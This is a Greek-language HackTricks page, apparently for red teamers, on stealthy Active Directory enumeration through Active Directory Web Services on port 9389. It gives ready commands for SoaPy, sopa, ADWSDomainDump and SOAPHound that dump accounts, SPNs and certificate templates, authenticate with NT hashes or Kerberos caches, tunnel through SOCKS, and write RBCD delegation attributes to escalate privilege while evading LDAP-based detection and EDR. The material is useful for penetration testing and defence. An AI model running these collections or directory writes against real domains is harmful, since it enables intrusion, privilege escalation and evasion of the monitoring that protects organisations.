Active Directory Web Services (ADWS) Enumeration & Stealth Collection
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το ADWS;
Active Directory Web Services (ADWS) είναι ενεργοποιημένο από προεπιλογή σε κάθε Domain Controller από τα Windows Server 2008 R2 και ακούει στο TCP 9389. Παρά το όνομα, δεν εμπλέκεται HTTP. Αντίθετα, η υπηρεσία εκθέτει δεδομένα σε στυλ LDAP μέσω ενός στοίβου ιδιόκτητων .NET framing πρωτοκόλλων:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Επειδή η κίνηση εγκλείεται μέσα σε αυτά τα δυαδικά SOAP frames και ταξιδεύει μέσω μιας ασυνήθιστης θύρας, η enumeration μέσω ADWS είναι πολύ λιγότερο πιθανό να ελεγχθεί, φιλτραριστεί ή να εντοπιστεί από signatures σε σχέση με την κλασική LDAP/389 & 636 κίνηση. Για τους χειριστές αυτό σημαίνει:
- Stealthier recon – οι Blue teams συχνά επικεντρώνονται σε LDAP queries.
- Freedom to collect από non-Windows hosts (Linux, macOS) tunnelling 9389/TCP μέσω SOCKS proxy.
- The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) και η δυνατότητα να εκτελέσετε writes (π.χ.
msDs-AllowedToActOnBehalfOfOtherIdentityγια RBCD).
Οι αλληλεπιδράσεις ADWS υλοποιούνται πάνω σε WS-Enumeration: κάθε query ξεκινά με ένα μήνυμα Enumerate που ορίζει το LDAP filter/attributes και επιστρέφει ένα EnumerationContext GUID, ακολουθούμενο από ένα ή περισσότερα μηνύματα Pull που ρέουν έως το παράθυρο αποτελεσμάτων που ορίζεται από τον server. Τα contexts λήγουν μετά από ~30 λεπτά, οπότε τα εργαλεία πρέπει είτε να σελιδοποιούν τα αποτελέσματα είτε να χωρίζουν τα φίλτρα (prefix queries ανά CN) για να αποφύγουν την απώλεια κατάστασης. Όταν ζητάτε security descriptors, καθορίστε τον έλεγχο LDAP_SERVER_SD_FLAGS_OID για να παραλείψετε τα SACLs, διαφορετικά το ADWS απλά παραλείπει το attribute nTSecurityDescriptor από την SOAP απάντησή του.
ΣΗΜΕΙΩΣΗ: Το ADWS χρησιμοποιείται επίσης από πολλά RSAT GUI/PowerShell εργαλεία, οπότε η κίνηση μπορεί να συγχωνευτεί με νόμιμη admin δραστηριότητα.
SoaPy – Native Python Client
SoaPy είναι μια πλήρης επανεφαρμογή του ADWS protocol stack σε καθαρό Python. Κατασκευάζει τα NBFX/NBFSE/NNS/NMF frames byte-for-byte, επιτρέποντας συλλογή από Unix-like συστήματα χωρίς να απαιτείται το .NET runtime.
Key Features
- Υποστηρίζει proxying through SOCKS (χρήσιμο από C2 implants).
- Λεπτομερή search filters όμοια με LDAP
-q '(objectClass=user)'. - Προαιρετικές write operations (
--set/--delete). - BOFHound output mode για άμεση εισαγωγή στο BloodHound.
- Το flag
--parseγια μορφοποίηση timestamps /userAccountControlόταν απαιτείται ανθρώπινη αναγνώσιμότητα.
Targeted collection flags & write operations
Το SoaPy συνοδεύεται από επιμελημένα switches που αναπαράγουν τα πιο κοινά LDAP hunting tasks μέσω ADWS: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds, καθώς και raw --query / --filter knobs για custom pulls. Συνδυάστε αυτά με write primitives όπως --rbcd <source> (sets msDs-AllowedToActOnBehalfOfOtherIdentity), --spn <service/cn> (SPN staging για στοχευμένο Kerberoasting) και --asrep (flip DONT_REQ_PREAUTH στο userAccountControl).
Παράδειγμα στοχευμένης SPN αναζήτησης που επιστρέφει μόνο samAccountName και servicePrincipalName:
soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse
Χρησιμοποιήστε τον ίδιο host/credentials για να αξιοποιήσετε αμέσως τα ευρήματα: dump RBCD-capable objects με --rbcds, στη συνέχεια εφαρμόστε --rbcd 'WEBSRV01$' --account 'FILE01$' για να στήσετε ένα Resource-Based Constrained Delegation chain (βλ. Resource-Based Constrained Delegation για την πλήρη πορεία εκμετάλλευσης).
Εγκατάσταση (operator host)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
ADWSDomainDump – LDAPDomainDump over ADWS (Linux/Windows)
- Fork του
ldapdomaindumpπου αντικαθιστά LDAP queries με ADWS calls στο TCP/9389 για να μειώσει τα LDAP-signature hits. - Πραγματοποιεί έναν αρχικό έλεγχο προσβασιμότητας στην πόρτα 9389 εκτός εάν δοθεί το
--force(παραλείπει το probe αν τα port scans είναι noisy/filtered). - Δοκιμασμένο ενάντια σε Microsoft Defender for Endpoint και CrowdStrike Falcon με επιτυχημένο bypass στο README.
Εγκατάσταση
pipx install .
Χρήση
adwsdomaindump -u 'thewoods.local\mathijs.verschuuren' -p 'password' -n 10.10.10.1 dc01.thewoods.local
Η τυπική έξοδος καταγράφει τον έλεγχο προσβασιμότητας στη θύρα 9389, το ADWS bind και την έναρξη/λήξη του dump:
[*] Connecting to ADWS host...
[+] ADWS port 9389 is reachable
[*] Binding to ADWS host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
Sopa - Ένας πρακτικός πελάτης για ADWS σε Golang
Όπως και το soapy, το sopa υλοποιεί το πρωτόκολλο ADWS (MS-NNS + MC-NMF + SOAP) σε Golang, παρέχοντας παραμέτρους γραμμής εντολών για την έκδοση κλήσεων ADWS όπως:
- Αναζήτηση και ανάκτηση αντικειμένων -
query/get - Κύκλος ζωής αντικειμένου -
create [user|computer|group|ou|container|custom]καιdelete - Επεξεργασία ιδιοτήτων -
attr [add|replace|delete] - Διαχείριση λογαριασμών -
set-password/change-password - και άλλα όπως
groups,members,optfeature,info [version|domain|forest|dcs], κ.λπ.
Κύρια σημεία χαρτογράφησης πρωτοκόλλου
- Οι αναζητήσεις τύπου LDAP εκτελούνται μέσω WS-Enumeration (
Enumerate+Pull) με προβολή ιδιοτήτων, έλεγχο εύρους (Base/OneLevel/Subtree) και σελιδοποίηση. - Η ανάκτηση ενός μεμονωμένου αντικειμένου χρησιμοποιεί WS-Transfer
Get; οι αλλαγές ιδιοτήτων χρησιμοποιούνPut; οι διαγραφέςDelete. - Η ενσωματωμένη δημιουργία αντικειμένων χρησιμοποιεί WS-Transfer ResourceFactory; τα προσαρμοσμένα αντικείμενα χρησιμοποιούν IMDA AddRequest βασισμένο σε πρότυπα YAML.
- Οι λειτουργίες κωδικών πρόσβασης είναι ενέργειες MS-ADCAP (
SetPassword,ChangePassword).
Μη αυθεντικοποιημένη ανακάλυψη μεταδεδομένων (mex)
Το ADWS εκθέτει WS-MetadataExchange χωρίς διαπιστευτήρια, που είναι ένας γρήγορος τρόπος για να επαληθεύσετε την έκθεση πριν από την αυθεντικοποίηση:
sopa mex --dc <DC>
DNS/DC ανακάλυψη & σημειώσεις στοχοποίησης Kerberos
Το Sopa μπορεί να επιλύσει τους DCs μέσω SRV αν το --dc παραλειφθεί και δοθεί το --domain. Εκτελεί ερωτήματα με αυτή τη σειρά και χρησιμοποιεί τον στόχο με την υψηλότερη προτεραιότητα:
_ldap._tcp.<domain>
_kerberos._tcp.<domain>
Σε λειτουργικό επίπεδο, προτιμήστε έναν resolver ελεγχόμενο από το DC για να αποφύγετε αποτυχίες σε τμηματοποιημένα περιβάλλοντα:
- Χρησιμοποιήστε
--dns <DC-IP>ώστε όλες οι SRV/PTR/forward lookups να γίνονται μέσω του DC DNS. - Χρησιμοποιήστε
--dns-tcpόταν το UDP είναι μπλοκαρισμένο ή οι απαντήσεις SRV είναι μεγάλες. - Εάν το Kerberos είναι ενεργοποιημένο και το
--dcείναι μια IP, το sopa εκτελεί ένα reverse PTR για να αποκτήσει ένα FQDN για σωστό στοχεύσιμο SPN/KDC. Εάν το Kerberos δεν χρησιμοποιείται, δεν γίνεται PTR lookup.
Παράδειγμα (IP + Kerberos, εξαναγκασμένο DNS μέσω του DC):
sopa info version --dc 192.168.1.10 --dns 192.168.1.10 -k --domain corp.local -u user -p pass
Επιλογές στοιχείων αυθεντικοποίησης
Εκτός από τα plaintext passwords, το sopa υποστηρίζει NT hashes, Kerberos AES keys, ccache, και PKINIT certificates (PFX ή PEM) για την αυθεντικοποίηση ADWS. Το Kerberos υπονοείται όταν χρησιμοποιείτε --aes-key, -c (ccache) ή επιλογές βάσει πιστοποιητικών.
# NT hash
sopa --dc <DC> -d <DOMAIN> -u <USER> -H <NT_HASH> query --filter '(objectClass=user)'
# Kerberos ccache
sopa --dc <DC> -d <DOMAIN> -u <USER> -c <CCACHE> info domain
Δημιουργία προσαρμοσμένων αντικειμένων μέσω προτύπων
Για αυθαίρετες κλάσεις αντικειμένων, η εντολή create custom καταναλώνει ένα YAML πρότυπο που αντιστοιχεί σε ένα IMDA AddRequest:
parentDNκαιrdnορίζουν τον container και το σχετικό DN.attributes[].nameυποστηρίζειcnή με namespaceaddata:cn.attributes[].typeδέχεταιstring|int|bool|base64|hexή ρητόxsd:*.- Να μην συμπεριλάβετε
ad:relativeDistinguishedNameήad:container-hierarchy-parent; το sopa τα εισάγει. - Οι τιμές
hexμετατρέπονται σεxsd:base64Binary; χρησιμοποιήστεvalue: ""για να ορίσετε κενές συμβολοσειρές.
SOAPHound – Συλλογή Υψηλού Όγκου ADWS (Windows)
FalconForce SOAPHound είναι ένας .NET collector που κρατά όλες τις LDAP αλληλεπιδράσεις μέσα στο ADWS και παράγει BloodHound v4-compatible JSON. Δημιουργεί μια πλήρη cache των objectSid, objectGUID, distinguishedName και objectClass μία φορά (--buildcache), και μετά την επαναχρησιμοποιεί για υψηλού όγκου --bhdump, --certdump (ADCS), ή --dnsdump (AD-integrated DNS) ενέργειες, έτσι ώστε μόνο ~35 κρίσιμα attributes να φεύγουν ποτέ από τον DC. Το AutoSplit (--autosplit --threshold <N>) διασπά αυτόματα τα queries ανά CN prefix για να παραμείνει κάτω από το 30-λεπτο EnumerationContext timeout σε μεγάλα forests.
Τυπική ροή εργασίας σε VM χειριστή ενταγμένο στο domain:
# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output
# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
Τα εξαγόμενα JSON slots εισάγονται απευθείας σε ροές εργασίας SharpHound/BloodHound — δείτε BloodHound methodology για ιδέες οπτικοποίησης downstream. Το AutoSplit καθιστά το SOAPHound ανθεκτικό σε forests με εκατομμύρια αντικείμενα, διατηρώντας παράλληλα τον αριθμό ερωτημάτων χαμηλότερο σε σχέση με τα ADExplorer-style snapshots.
Αθόρυβη ροή συλλογής AD
Η παρακάτω ροή εργασίας δείχνει πώς να enumerate domain & ADCS objects μέσω ADWS, να τα μετατρέψετε σε BloodHound JSON και να κυνηγήσετε certificate-based attack paths — όλα από Linux:
-
Tunnel 9389/TCP από το target network στο μηχάνημά σας (π.χ. via Chisel, Meterpreter, SSH dynamic port-forward, κ.λπ.). Export
export HTTPS_PROXY=socks5://127.0.0.1:1080ή χρησιμοποιήστε το SoaPy’s--proxyHost/--proxyPort. -
Συλλέξτε το root domain object:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Συλλογή αντικειμένων σχετικών με ADCS από το Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Μετατροπή σε BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Ανεβάστε το ZIP στο BloodHound GUI και εκτελέστε cypher queries όπως
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,cγια να αποκαλύψετε μονοπάτια κλιμάκωσης πιστοποιητικών (ESC1, ESC8, κ.λπ.).
Εγγραφή του msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Συνδυάστε αυτό με s4u2proxy/Rubeus /getticket για μια πλήρη Resource-Based Constrained Delegation αλυσίδα (βλ. Resource-Based Constrained Delegation).
Περίληψη Εργαλείων
| Σκοπός | Εργαλείο | Σημειώσεις |
|---|---|---|
| ADWS enumeration | SoaPy | Python, SOCKS, ανάγνωση/εγγραφή |
| High-volume ADWS dump | SOAPHound | .NET, cache-first, BH/ADCS/DNS modes |
| BloodHound ingest | BOFHound | Μετατρέπει αρχεία καταγραφής SoaPy/ldapsearch |
| Cert compromise | Certipy | Μπορεί να προωθηθεί μέσω του ίδιου SOCKS |
| ADWS enumeration & object changes | sopa | Generic client για διεπαφή με γνωστά ADWS endpoints - επιτρέπει enumeration, δημιουργία αντικειμένων, τροποποιήσεις attributes και αλλαγές κωδικών πρόσβασης |
Αναφορές
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- ADWSDomainDump GitHub
- Sopa GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
- IBM X-Force Red – Stealthy Enumeration of Active Directory Environments Through ADWS
- FalconForce – SOAPHound tool to collect Active Directory data via ADWS
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


